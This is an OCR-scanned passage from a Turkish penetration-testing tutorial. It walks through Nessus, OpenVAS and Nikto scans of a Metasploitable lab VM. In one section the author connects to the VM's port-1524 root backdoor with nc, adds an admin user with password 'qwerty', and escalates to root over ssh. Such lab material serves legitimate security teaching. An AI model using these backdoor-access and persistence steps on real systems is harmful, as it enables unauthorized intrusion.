Audlt ' Moblle Device Scan Offiine Config Audit PCI Quarterly External Scan ~ Policy Compllance Auditing SCAP and OVAL Auditing Web Application Tests Windows Malware Scan

Sonraki ekranda politikamizin adini girip “Save” ile devam ediyoruz. Solda ve
Ustte siralanan seceneklerde tarama politikamizla ilgili ek detaylar girebiliriz.
istersek Ustteki “Credential” kisminda hedef cihazimizda bildigimiz kullanici
hesabi bilgilerini girerek daha detayli bir tarama yaptirabiliriz. Ama biz hedef
makineyle ilgili hi¢bir bilgi sahibi olmadan tarama yaptigimizi varsayarak bu

bilgileri girmeyecegiz.



@ Nessus Policies

New Policy / Basic Network Scan

Policy Library > Settings Credentials

BASIC v Settings / Basic / General

General

oz ‘ erel ag taramasi
Permissions Name y 9

DISCOVERY
Description
ASSESSMENT

REPORT

ADVANCED

“Save” butonuna tikladiktan sonra asagida goruldigi gibi bir politikamizin

listede olmasi gerekiyor.

@ Nessus Scans Policies
Policies

Polici All Policies
All Policles Name ¥

yerel ag taramasi



Nessus’ta ilk tarama:

Artik politikamiz da olduguna gore ilk taramamiza baslayabiliriz. “Scans”e
(Taramalar) ve ardindan “New Scan”e (Yeni Tarama) tikliyoruz. Gelen ekranda
daha 6nceden olusturdugumuz “yerel ag taramasi” politikamizi secgiyoruz.

Scan Library

All Templates Scanner User

Moblle Device Scan

yerel ag taramasi




Daha sonra gelen ekranda bilgileri asagidaki gibi dolduruyoruz.

BASIC - General

General

Schedule Name metasploitable taramasi

Notifications
Description
Folder My Scans -
Targets 10.10.56.2

Name: Tarama icin bir isim giriyoruz.
Description: isterseniz bu alana bir aciklama girebilirsiniz.
Folder: isterseniz taramalarinizi dizinler altinda gruplayabilirsiniz.

Targets: Hedeflerinizi giriyorsunuz. Bir IP ya da birden ¢ok IP ve aralik
girmeniz mimkdin. Biz 6rnegimizde Metasploitable’in aldigi IP adresini girdik.

Bltln detaylari doldurduktan sonra “Save” ile devam ediyoruz. Taramamiz
asagidaki gibi gorunecek. Sagdaki “Launch” simgesine tikladigimizda taramamiz
baslamis olacak.



My Scans

Last Modified &

Name Schedule

metasploitable taramasi On Demand B ONA D
o :
{b Nessus Scans u Schedules Policies Schedule created success
Scans Upload
My Scans n Name Status
Trash metasploitable taramasi > Running

Yuvarlak yesil ok isareti taramanin devam ettigini gosteriyor.

My Scans
Name Schedule Last Modifi
metasploltable taramasi On Demand O 121apPm

Tarama adina tiklayarak buldugu detaylari kontrol edebiliriz. Asagida
gordigliniz gibi su ana kadar bulunan detaylar listeleniyor. Ayrica her IP i¢gin
ylzde kagini tamamladigini da gosteriyor. Bizim 6rnegimizde taramanin heniiz
ylzde ikisi tamamlandi. Tarama tamamlandiginda “Status” (Durum)
“Completed” (Tamamlandi) olarak goriinecek.

@ Nessus Scans Policies
metasploitable taramasi Configure | Audit Trail Launch ~ Expot ¥
Scans > Hosts [}  vunerabiities emediations

Host

1010562 [ - B . s

Asagida taramanin tamamlanmis hali gérullyor. Kirmizi renk ve sekiz sayisi
bize kritik seviyede sekiz adet aciklik oldugunu soyllyor. Yani ylzde 99 ihtimalle

bu sistemi ele gecirebilecegimizi anliyoruz.



Host

192.168.56.102

Vulnerabilities =

Scan Detalls

Name: metasploitable taramasi
Folder: My Scans

Status: Completed

Policy: yerel ag taramasi
Scanner: Local Scanner

Targets: 192.168.56.102

Start time: Sat May 24 19:20:35 2014
End time: Sat May 24 19:25:14 2014
Elapsed: 5 minutes

Vulnerabilities

@ info
@ Low
Medium
@ Hgh
@ cCriical

L

Simdi de detaylara bakalim. Bunun icin IP adresinin yanindaki renkli cubuga

tikhyoruz. Detaylarda asagidaki gibi, bulunan bitin bilgilerin tek tek listelendigi

bir ekrana geliyoruz. Listelemeye en kritik agikliklarla basliyor; daha sonra

yuksek, orta ve dislik seviye acikliklari listeliyor. En sonda ise bilgi amach

yaptigi tespitleri listeliyor.

O Nessus

Scans Policies

metasploitable taramasi

Scans > Hosts

Severity &

i

R s History

Plugin Name

Apache Tomcat Manager Common Administrative Credentials

Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Rogue Shell Backdoor Detection

Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow

Unsupported Unix Operating System

VNC Server ‘password' Password

vsftpd Smiley Face Backdoor

Microsoft Windows SMB Shares Unprivileged Access

Configure

Audit Trail

Plugin Family

Web Servers

Gain a shell remotely

Gain a shell remotely

Backdoors

Misc.

General

Gain a shell remotely

FTP

Windows

Launch



Bundan sonraki bélimde, yaptigimiz zafiyet taramasiyla ilgili daha detayl bir
incelemede bulunacagiz.

Metasploitable tarama sonuglarinin incelenmesi

Biraz 6nce tamamladigimiz ve yuzeysel olarak baktigimiz tarama sonuglarini
artik daha detayli inceleyebiliriz. Bizim igin 6zellikle kritik seviyedeki agikliklar
cok dnemli. Zira bunlar yiksek oranda basaril bir sizma saglayabilecek
acikhklar. Simdi en Ustteki agikliga tiklayarak detaylarini inceleyelim.

Apache Tomcat Manager Common Administrative Credentials

metasploitable taramasi

Configure  Audit Trall Launch ¥ Exp

Scans > H Vulnerabliities [  Remed

Apache Tomcat Manager Common Administrative Credentials Plugin Detalls

Description

Description: “Agiklama” kisminda ilgili agikhgin detaylari anlatiliyor. Burada
anlatilan, Tomcat sunucusu icin herkesce bilinen kullanici adi ve sifrelerin
kullanilmis oldugu. Bu kullanici adi ve sifreyi kullanarak uzaktan Tomcat
kullanicisi yetkileriyle kod calistirmamizin ve sistemi ele gecirmemizin mimkiin
olabilecegi anlatiliyor.



Solution: “Cozim” kisminda bu acikhgi gidermek icin ilgili kullanici adi ve
sifreyi “tomcat-users.xml” dosyasindan degistirmemiz gerektigi yaziyor.

See Also: “Daha fazlasina bak” kisminda daha detayli bilgi edinmek icin
inceleyebilecegimiz adresler listeleniyor.

Plugin Details: Nessus’un bu aciklikla ilgili eklenti detaylarini veriyor.

Risk Information: “Risk bilgisi” kisminda riskle ilgili degerlendirme yapiliyor.
Burada “Risk Factor” kritik oldugu, CVSS (Common Vulnerability Scoring
System) puaninin 10 lizerinden 10 oldugu belirtiliyor. Yani olabilecek en yliksek
puani aldigi icin bu aciklikla sizmanin kesinlikle basarili oldugu sonucu ortaya
cikiyor.

uuuuuu
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Output: “Cikt1” kisminda gérdiigiinliz gibi hangi adres lizerinden hangi
kullanici adi ve sifreyle girebileceginiz gosteriliyor.

Vulnerability Information: “Zafiyet bilgisi” kisminda sizma yapilip
yapilamayacaginin bilgisi veriliyor.

Exploitable With: Ne ile sizma saglanabileceginin bilgisi veriliyor. Bu 6rnekte
Metasploit ve Core Impact yazilimlariyla sizma saglanabilecegi belirtilmis.

Reference Information: “Referans bilgisi” kisminda bu aciklikla ilgili referans
bilgileri ve daha fazla detaya ulasilabiliyor.

Simdi de dordilinci sirada ¢ok ilging gértinen bir acikligi inceleyelim.



Rogue Shell Backdoor Detection

EEIEM Rogue Shell Backdoor Detection < 5 pluginDetalls

Description: Aciklama kisminda bir portun dinlemede oldugu ve baglanip
komut ¢alistirabilecegi anlatiliyor.

Output: “id” komutu kullanici olarak “root” dénduriyor. Yani sadece bu
porta baglanarak en Ust seviyede yetkili islemlerinizi yapabilirsiniz.

Sizma ve ele gegirme, taramalar bittikten sonraki bir bélim olsa da bu kadar
blyuk bir aciktan faydalanmayi denemeden devam etmek olmaz distincesiyle
nasll bilgisayara girip istedigimizi yapabilecegimize bir bakalim.

Port detayina baktigimizda bu acigin 1524 numarali portta yer aldigini
gorlyoruz. Herhangi bir porta baglanmak icin “nc” komutunu kullanabilirsiniz.
Kullanim sekli “# nc IPadresi portnumarasi”. Simdi asagidaki komutla
Metasploitable 1524 numarali porta baglanmayi deniyoruz.

# nc 10.10.56.2 1524

root@metasploitable:/#

Yukarida gordiigliniz tizere baglandi ve bizden komut bekliyor. Simdi “id”
komutuyla kim olarak gérindigimuze bakalim.

# root@metasploitable:/# id

uid=0(root) gid=0(root) groups=0(root)

GOoruldigu Uzere root yetkisiyle calisiyoruz. Aslinda su andan itibaren baska
bir sizma veya acik arama yontemini denemeye bile gerek yok clinki istedigimiz



her seyi yapabilecek durumdayiz. Deneme olarak bir kullanici olusturalim, root
yetkisi verelim ve ssh ile baglanalim.

Kullaniciyr “# adduser kullanici adi” ile olusturuyoruz. Asagidaki detayda test
kullanicisi olusturduk. Sonra sifre olarak qwerty girdik. Bitiin sorulari “enter”
tusuna basarak gectik. “Other []:” kismindan sonra bir sey sormadan bekliyor.
“¥Y” tusuna basip “enter” ile bitirdik.

root@metasploitable:/# adduser test

Adding user " test'

Adding new group test' (1003)

Adding new user “test' (1003) with group “test'

The home directory ~/home/test' already exists. Not copying
from "/etc/skel'.

Enter new UNIX password: gwerty
Retype new UNIX password: gwerty
passwd: password updated successfully
Changing the user information for test
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:

Yy

Is the information correct? [y/N]

Kullanicinin root yetkisini alabilmesi icin /etc/sudoers dosyasina bakip hangi
gruplarin butln yetkilere sahip oldugunu gérmemiz gerekiyor. “# cat
dosya_adi” ile detaylara bakalim. Asagida goruldugl Gzere admin grubunun
bltln yetkileri var.



root@metasploitable:/# cat /etc/sudoers

# /etc/sudoers

#

# This file MUST be edited with the 'visudo' command as root.
#

# See the man page for details on how to write a sudoers
file.

#

Defaultsenv reset

# Uncomment to allow members of group sudo to not need a
password

# %$sudo ALL=NOPASSWD: ALL

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification

root ALL=(ALL) ALL

# Members of the admin group may gain root privileges

%admin ALL=(ALL) ALL

Kullaniciya “# adduser kullaniciadi grup” ile yetki veriliyor. Burada kullaniciyi
“admin” grubuna ekleyerek kullanicinin her seyi yapabilmesini saglyoruz.



root@metasploitable:/# adduser test admin
Adding user “test' to group “admin’
Adding user test to group admin

Done.

Bu adim da tamamlandigina gore baska bir Terminal penceresi acarak ssh
denememizi yapabiliriz. “# ssh kullaniciadi@IPadresi” ile baglanti sagliyoruz. ilk
baglantida devam edip etmek istemedigimizi soracak; “yes” yazip “enter” ile
devam ediyoruz. Sonra sifreyi girip baglantiyi tamamliyoruz. Asagida gorildug
Uzere baglanti saglandi.

# ssh test@10.10.56.2

The authenticity of host '10.10.56.2 (10.10.56.2)" can't be
established.

RSA key fingerprint is
56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:£3.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '10.10.56.2' (RSA) to the list of
known hosts.

test@10.10.56.2"'s password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10
13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free
software;

the exact distribution terms for each program are described
in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by

applicable law.




To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

Simdi root yetkisine gecelim. Asagida goruldugi Gzere “id” yazdigimizda
root yetkisinde olmadigimizi gériiyoruz. “sudo -i” komutunu ¢alistirdigimizda
sifre bile sormuyor. Sonra tekrar “id” yazdigimizda artik root oldugumuzu
goruyoruz.

test@metasploitable:~$ id

uid=1003 (test) gid=1003(test) groups=112 (admin), 1003 (test)
test@metasploitable:~$ sudo -i

root@metasploitable:~# id

uid=0(root) gid=0(root) groups=0(root)

Bundan sonra yapacaklarimiz Linux bilgimizle sinirl.

Nessus tarama sonuclarini maalesef tek tek inceleyemeyecegiz; zira bu
inceleme basli basina ylzlerce sayfa gerektiriyor.

OpenVAS

Kullanabilecegimiz zafiyet tarama yazilimlarindan biri de OpenVAS ve bu
yazilim tamamen Ucretsiz. Kali ile kurulu geliyor ancak OpenVAS hizmetini
baslatmadan 6nce bazi ayarlar yapmamiz gerekiyor.

OpenVAS’I galistirmadan dnce yapilacak ayarlar



Daha 6nceki Kali versiyonlarinda OpenVAS ¢alistirilmadan dnce yapilmasi
gereken bir hayli ayar vardi. Kali 2.0 ile birlikte bitiin bu islemler tek komutla
yapilacak sekilde otomatize edildi. OpenVAS ayarlarini yaparken kullanacagimiz
komut “openvas-initial-setup”. Yalniz bu komutu calistirirken Kali
bilgisayarimizin internete bagli olmasi gerekiyor. internet baglantisi olmasa da
OpenVAS dizglin yapilandirilacaktir ama pluginleri indiremeyecegi igin
taramalarimiz bos sonu¢ dénecektir. Bunun igin dncelikle ag baglantisini NAT a
cekebiliriz. Daha sonra asagida goruldiigi gibi sol Ustten Applications 2>
Vulnerability Analysis = “openvas initial setup” sekmesine tikliyoruz. Bu komut
calistirllinca OpenVAS ayarlarini kontrol edip eksiklikleri tespit ediyor ve
dizeltiyoruz. Agilan Terminal ekraninda yapilan islemlerin detaylarini
goreceksiniz. internetten pluginler de indirildigi icin bu islem biraz uzun
surebilir. Bu esnada bir kahve molasi verebiliriz.



Applications ¥  Places ¥ " ~Terminal ~

Favorites golismero

01 - Information Gathering
lynis
02 - Vulnerability Analysis

03 - Web Application Analysis nikto

04 - Database Assessment nmap

05 - Password Attacks

openvas initial setup
06 - Wireless Attacks
07 - Reverse Engineering OpEivas, SLaRt
08 - Exploitation Tools openvas stop

09 - Sniffing & Spoofing
unix-privesc-check
10 - Post Exploitation
11 - Forensics
12 - Reporting Tools

13 - System Services

Usual applications

Activities Overview

Ayarlar yapilandirildiktan sonra web arayizu igin bir kullanici adi ve karmasik
bir parola olusturup bize soyliyor. Ekrana yazilan u hesap bilgilerini almayi
unutmayin. Bundan sonra OpenVAS servisini baslatmamiz gerekiyor. Bunun igin
Applications = Vulnerability Analysis = “openvas start” secenegine tikliyoruz.
Servis basladiktan sonra “https://127.0.0.1:9392” adresini internet gezgininde


https://127.0.0.1:9392/

acilyoruz. Kullanici adi “admin” ve sifreyi de Terminal ekraninda ¢ikan karmasik
sifre olarak girebiliriz. Giris yaptiktan sonra sag lstte “admin” yazisina tiklayip
sifremizi degistirebiliriz.

Greenbone Security Assistant - Iceweasel e 0 0o

) Nessus Home / Scans "/O Greenbone Security ... 3\1'

| € ) & https://127.0.0.1:9392/login/login. html v C" IQ Search ’ w B » |

[ Most Visited ¥ lilOffensive Security ~\Kal.i Linux ~KKali Docs ~\Kal.i Tools nExploit-DB ‘Aircrack-ng

Greenbone Security Assistant

Username [l l

Password | I

Login




) Nessus Home / Scans x/n" & Greenbone Security .. % | *

€ 22 & https://127.0.0.1:9392/omp?r=1&token=2346bf73-3566-4cac v C | | Q

Search ‘ * g ‘ f
[ Most Visited v [l Offensive Security N\ Kali Linux “§Kali Docs “§ Kali Tools EMExploit-DB W Aircrack-ng

A«ﬁ“- CGreenbone Logged in as Admin admin | Logout
82" Security Assistant
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Scan Management Asset Management Secinfo Management

Configuration Administration

Help

Tasks (total o) MAME 0 s o

Filter: ‘

=1 rows=10 first=1 sort=name

yvy
. -
Status Severity Trend Actions

‘ \/;ipply to page contents V\ U (¥ |

(total: 0)

(Applied filter: apply_overrides=1 rows=10 first=1 sort=name)

Welcome dear new user!
To explore this powerful application and to
have a quick start for doing things the
first time, | am here to assist you with
some hints and short-cuts.

Quick start: Immediately scan an IP address
IP address or hostname:

w Start Scan

| will appear automatically in areas where
you have created no or only a few objects.
And disappear when you have more than
3 objects. You can call me with this icon

"
any time later on,

For this short-cut | will do the following for you:

1. Create a new Target with default Port List

2. Create a new Task using this target with default Scan
Configuration

3. Start this scan task right away

4. Switch the view to reload every 30 seconds so you can lean

If you want help creating new scan tasks back and watch the scan progress

but also more options, you can select
"Advanced Task Wizard" from the wizard
selection menu at the top of this window
where it currently says "Task Wizard"
marked with a small arrow.

In fact, you must not lean back. As soon as the scan progress is
beyond 1%, you can already jump into the scan report via the link in
the Reports Total column and review the results collected so far.

For more detailed information on
functionality, please try the integrated
help system. It is always available as a
context sensitive link as icon &4,

When creating the Target and Task | will use the default Port List,
Alert, OpenVAS Scan Config, Credentials, OpenVAS Scanner and Slave
configured in "My Settings".

By clicking the New Task icon &l you can also create a new Task
yourself. However, you will need a Target first, which you can create

by going to the Targets page found in the Configuration menu using
the New icon there.

OpenVAS ile tarama

OpenVAS ile tarama yaparken asagidaki adimlari takip etmemiz gerekiyor:

- Hedef olustur.
- Yeni bir tarama gorevi olustur.

- Taramayi baslat.

- 30 saniyede bir ekrani yenilemeye ayarla ve sonuglari izle.



Simdi bu adimlar tzerinden tek tek gecerek tarama yapalim.

1. Hedef olustur: Ust meniiden Configuration = Targets adimlarini takip
ediyoruz. Karsimiza ¢ikan ekranda, sekilde goraldigu Gzere yildizli ikonu
secerek hedef olusturma ekranina geliyoruz.

) Logged in as Admin admin | Logout
ﬁ}" Greenbone 99 =g
&) Security Assistant Thu Dec 31 17:17:38 2015 UTC

Scan Management Asset Management Secinfo Management Configuration Administration

Help

Targets BE;.10r1 (total: 1) R ERE @ Vi

Filter: | New Target ‘B H S ‘ [+ —Y@E8

rows=10 first=1 sort=name

N N T o
mmm

Localhost £ localhost OpenVAS Default had 83

1 v’Apply to page contents V' [ a UU

(Applied filter: rows=10 first=1 sort=name] e Bl 1 -1 of 1 (total 1) b et

Scan Management Asset Management Secinfo Management Configuration Extras Administration Help

Targets 1 - 1 of 1 (total: 1) PEE W VNo auto-refresh

Filter: |mws 10 first=1 sort=name

mm Port List SSH Credential SMB Credential

Localhost localhost 1 OpenVAS Default QL[] ¥ |

Gelen ekranda “Name” (Hedef Adi), Hosts (Taranacak Adresler) ve Port List
(Port Listesi) bilgilerini seciyoruz. Ben listede nmap’te en ¢ok kullanilan 2000
TCP ve 100 UDP portunu sectim. Son olarak “Create Target” ile hedefimizi
olusturuyoruz.




New Target"
!

Name [

metasploitable ‘

Comment (optional) [ |

Hosts
@ Manual |10.10.56.2

O From file | Browse... | No file selected.
Exclude Hosts ( |
Reverse Lookup Only O ves ® No
Reverse Lookup Unify O ves ® No

Port List | Nmap 5.51 top 2000 TCP and top 100 UDP ¥ |
Alive Test | Scan Config Default M \
Credentials for authenticated checks (optional):
So |-- ¥ |on port 122 |
SMB |

el
ESXi

)

Create Target |

Artik listede “metasploitable” hedefini de goreceksiniz.

Targets Bl sofo(totar:2) HE BRE B ‘3

ol-vma8

f |
Filter: Ba®E |
ows=10 first=1 sort=name

Credentials
Hosts Port List mmm Actions

Localhost £ localhost OpenVAS Default hudbd
metasploitable 10.10.56.2 1 Nmap 5.51 top 2000 TCP and top 100 UDP i (¥

VApply to page contents ¥ J a Uu

(Applied filter: rows=10 first=1 sort=name) LA B 1 - 2 of 2 (total 2) bmdl B2)

2. Yeni bir tarama gorevi olustur: Ust meniiden “Scan Management”
secenegine tikliyoruz. Daha sonra gelen ekranda “New Task”e yani yildiz
simgesine tikliyoruz. Yeni gorevimiz icin asagidaki sekilde “Name” (isim) ve
“Scan Targets” (Hedef) bilgilerini giriyoruz. Son olarak “Create Task” digmesine
tiklayarak yeni gérevimizi olusturuyoruz.



New Taski® 'K &
Neme ‘metasptoitable taramasi ‘
Comment (optional) [ [
Scan Targets | metasploitable ¥ !
Alerts (optional) [-- ¥ H + |
Schedule (optional) =7 [ once
Add results to Asset Management Oyes O no
Alterable Task O yes @ no
Scanner
@® OpenVAS Scanner | OpenVAS Default ¥ |
Scan Config Full and fast v
Slave (optional) el
Network Source Interface ‘

3. Taramayi baslat: Simdi “Scan Management” - “Tasks” secenegine
tiklarsak ekranda yeni gérevimizi gorecegiz. Calistirmak icin tek yapmamiz
gereken asagida goriinen ikona basmak.

Reports . 4
Severity Trend Actions

metasploitable taramasi ————] i |-~ || § ]

L .v"f«pplv to page contents V| @ U (¥ |

4. Ekran yenilemeyi ayarla: Asagida gorilen kisimdan “Refresh every 30
seconds”1 secip sagdaki yesil ikona tiklayarak 30 saniyede bir ekranin
yenilenmesini ve ilerleme durumunu gérmeyi saglyoruz.

Tasks M 1.10f1 (tota: 1) HE BXNE W [V auto-refresn ¥ [

Filter: | ‘ad ’ |63 MISEE
apply_overrides=1 rows=10 first=1 sort=name
222
. .
Status Severity Trend |Actions
metasploitable taramasi V777778677777 | 0(1) (. falbdid

| VApply to page contents ¥ | m |4




Tarama bittiginde “Status”, “Done” (Tamamlandi) olarak gorinecek. Bundan
sonra ilgili satira tikladigimizda tarama 6zetini gorebiliriz. Detaylara bakmak icin

karsimizdaki satira bir kez daha tikhyoruz.

Reports B, .10f1(tota: 1) HE BE ‘3

Filter: “and status=Done ‘@ 2 = ‘ ‘m l" z ‘ s

task_id=734df825-df53-4a2d-a95c-c3fcded

Scan Results
_ it o i _ e

sort-reverse=high first=1 apply_overrides=1 rows=10

metasplmtable
18:25:07 2015 taramasi 2 g2 2 o BE
\ VApply to page contents ¥ L m
Task Details IHE EZFW PED
Name: metasploitable taramasi ID: b448381d-36ab-47eb-bf06-1eaadScfdafs
Comment: Creatad: FriJun 20 20:26:27 2014
Scan Config:  Full and fast Last Modified: Fri jun 20 20:30:26 2014
Alerts:
Schedule: (Next due: over)
Target: metasploitable
Slave:
Status: ——— —
Reports: 1 (Finished: 1)
Observers:
Add to Assets: yes
Notes: 0
Overrides: 0
Scan Intensity
Maximum concurrently executed NVTs per host: 4
Maximum concurrently scanned hosts: 20

Reports for "metasploitable taramasi" L S

Fri Jun 20 20:30:20 2014
Done ngh 26 14 87 0

Zafiyetlerin alt alta siralandigini gériiyoruz.



vReport Results [ 1 - 100 of 139 (total: 284) B BB _'!

Filter: [sort-reverse=severity result_hosts_only=1 min_cvss_base= min_qod=70 l‘ SE? l ‘w ’ - '@E88
4
1 e X
10.10.56.2
75% (METAsPLOmABLE)  2M/teP
Possible Backdoor: Ingreslock [@l  10.0 (High) JeleL (lhgiEl‘l'glss.}fllcz)lTABLE ) 1524/tcp 2 %
NFS export 0.0 High AL (lhgéng'ssF?LngAeLE ) 2049/udp 5 %l
ProFTPD Multiple Remote Vulnerabilities 75% %hgénggF?LngABLE) 2121/tcp 7
. 10.10.56.2 -
Aiaane) MRECOCTINE 75% (yeTasplomABLE )  60007tcp L
distcc Remote Code Execution Vulnerability BEELLTTE 75% %SEITRSF?LngABLE ) 3632/tcp
MySQL weak password 9.0 (High) " ML %hgllz%l%ssPGI:ngABLE ) 3306/tcp

Her zafiyetin Ustine tikladigimizda o zafiyetle ilgili detayl bilgi ekranimiza
gelecektir. Asagida “High” (Yiksek) seviyede bir zafiyet detayini gorebilirsiniz:

Result Details” 9

Task: metasploitable taramasi ID: aed4dfd0-c733-41c5-a82-07f8e5b8Shed

ProFTPD Multiple Remote Vulnerabilities 75% 10.10.56.2 21/tcp e
Summary

The host is running ProFTPD and is prone to multiple vulnerabilities.

Vulnerability Detection Result
Vulnerability was detected according to the Vulnerability Detection Method.

Impact
Successful exploitation may allow execution of arbitrary code or cause a denial-of-service, Impact Level: Application

Solution
Upgrade to ProFTPD version 1.3.3c or later, For updates refer to http://www.proftpd.org/

Affected Software/0S
ProFTPD versions prior to 1.3.3c

O 0 == @ O @ [#] right Contro



OzET

Bu bolimde zafiyet taramasinin ne oldugunu ve tarama sirasinda hangi
yazilimlardan faydalanabilecegimizi, bu yazilimlarin raporlarini nasil

olusturacagimiz gorduk.

Bu bolimde inceledigimiz araclari tekrar 6zetlersek:
- Nmap
- Nessus

- OpenVAS



BESINCi BOLUM

WEB SIiTESi ZAFIYET TARAMASI

Web sitesi taramasi

Sirketlerin saldiriya ugradigi alanlardan birisi de web siteleridir. Web
sitelerinin hacker’lar tarafindan ele gecirilmesi firmalar icin ciddi itibar ve gelir
kayiplarina sebep olabilmektedir. Bundan dolayi web sitelerine de gereken
onemi vererek tarama yapmamiz ve agiklari tespit etmemiz 6nemlidir.

Zafiyet taramalarinda web sitelerinin taramasi daha 6nce anlattigimiz
tarama sekillerinden daha farkli yontemler gerektirir. Simdi bu farkli yontemleri
ayrintilariyla anlatmaya galisacagiz.

Nikto?®

Nikto, Terminal’'de komut girerek calisan bir zafiyet tarama yazilimidir. Kali
Uzerinde zaten kurulu geldigi icin tekrar kurmaniza gerek yok.

Nikto ile taramamizi yaparken dikkat etmemiz gereken husus su: Nikto’ya
port numarasi vermezseniz sadece 80 portunu tarayacaktir. Hedefimiz yine
Metasploitable olacak. ilk is olarak hangi portlarda http hizmeti olduguna
bakalim. Yazacagimiz komut “nmap -sV IPadresi” olacak.

# # nmap -sV 10.10.56.2

19 https://www.cirt.net/Nikto2



Starting Nmap 7.00 ( https://mmap.org ) at 2016-01-03 16:20

EET
Nmap scan report for 10.10.56.2
Host is up

(0.00030s latency).

Not shown: 978 closed ports

PORT STATE SERVICE VERSTION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul
(protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu)
DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup:
WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup:
WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell Netkit rshd

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524 /tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121 /tcp open ftp ProFTPD 1.3.1

3306/tcp open mysqgl MySQL 5.0.5la-3ubuntub

5432 /tcp open postgresqgl PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)




6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd

8180/tcp open http Apache Tomcat/Coyote JSP engine
1.1

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Service Info: Hosts: metasploitable.localdomain, localhost,
irc.Metasploitable.LAN; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect
results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 15.53 seconds

Gordugliniiz Gzere 80 ve 8180 portlarinda http hizmeti veriliyor. Bu
durumda hedefimiz 80 ve 8180 portlari. Simdi Nikto ile taramaya gecelim.
Yazacagimiz komut “nikto -h [domainadi veya IPadresi] -p portlar -Format htm -
o output.htm”. Komutla ilgili detaylar ise asagidaki sekilde:

- “-h” ile tarayacagimiz domain adi veya IP adresini giriyoruz.

-p” ile port numaralarini belirtiyoruz.

- “.Format htm” ile html formatinda bir sonug ¢iktisi Giretmesini istiyoruz.

“-0 output.htm” ile sonucun output.htm dosyasina kaydedilmesini

istiyoruz.

Simdi komutu ¢alistiralim.

# nikto -h 10.10.56.2 -p 80,8180 -Format htm -o output.htm

- Nikto v2.1.6




+ Target IP: 10.10.56.2

+ Target Hostname: 10.10.56.2
+ Target Port: 80
+ Start Time: 2016-01-03 16:23:39 (GMT2)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2+ Retrieved x-powered-by
header: PHP/5.2.4-2ubuntu5.10

+ The anti-clickjacking X-Frame-Options header is not
present.

+ The X-XSS-Protection header is not defined. This header can
hint to the user agent to protect against some forms of XSS..

+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpMyAdmin/: phpMyAdmin directory found

+ OSVDB-3092: /phpMyAdmin/Documentation.html: phpMyAdmin is
for managing MySQL databases, and should be protected or limited
to authorized hosts.

+ 8332 requests: 0 error(s) and 29 item(s) reported on remote
host

+ End Time: 2016-01-03 16:24:08 (GMT2) (29 seconds)
+ Target IP: 10.10.56.2

+ Target Hostname: 10.10.56.2

+ Target Port: 8180

+ Start Time: 2016-01-03 16:24:08 (GMT2)

+ Server: Apache-Coyote/1.1




+ The anti-clickjacking X-Frame-Options header is not
present.

+ The X-XSS-Protection header is not defined. This header can
hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could
allow the user agent to render the content of the site in a
different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all
possible dirs)

+ Server leaks inodes via ETags, header found with file
/favicon.ico, fields: 0xW/21630 0x1228677438000

+ OSVDB-39272: favicon.ico file identifies this server as:
Apache Tomcat

+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE,
OPTIONS

+ End Time: 2016-01-03 16:24:58 (GMT2) (50 seconds)

+ 2 host(s) tested

Yukarida tarama sonuglarinin ekrandaki halini gorebilirsiniz. Ben detaylari

keserek ekledim glinki olduk¢a uzun bir sonug listelendi. Ayrica ekranda tek tek

incelemek daha zor olacagi icin sonuclari htm ciktisi Gzerinden inceleyelim.

Output.htm dosyasi, komutu calistirdiginiz dizinde olusacaktir. Calistirmak icin

Kali’nin tst menlstinden “Places 2 Home” secerek dosya gezginine girebilir ve

ilgili dosyavya cift tiklayarak internet tarayicinizda acabilirsiniz. Dosyayi
actiginizda asagidaki gibi bir ekran goreceksiniz.
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Simdi 80 portu taramasinin sonuglarini inceleyelim:

Target IP 10.10.56.2

Target hostname 10.10.56.2

Target Port 80

HTTP Server Apache/2.2.8 (Ubuntu) DAV/2

Site Link (Name) http://10.10.56.2:80/

Site Link (IP) http://10.10.56.2:80/

URI !

HTTP Method GET

Description Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
. http://10.10.56.2: 80/

IR http://10.10.56.2:80

OSVDB Entries OSVDB-0

URI /

HTTP Method GET

Description The anti-clickjacking X-Frame-Options header is not present.
. http://10.10.56.2: 80/

Rt bk http://10.10.56.2:80/

OSVDB Entries OSVvDB-0

URI /

HTTP Method GET

Deseripticn The X-XSS-Protection header is not defined. This header can hint to the user agent to

protect against some forms of XSS

. http://10.10.56.2:80/

ik LN http://10.10.56.2:80/

Target IP 10.10.56.2

Target hostname 10.10.56.2

Target Port 80

HTTP Server  Apache/2.2.8 (Ubuntu) DAV/2

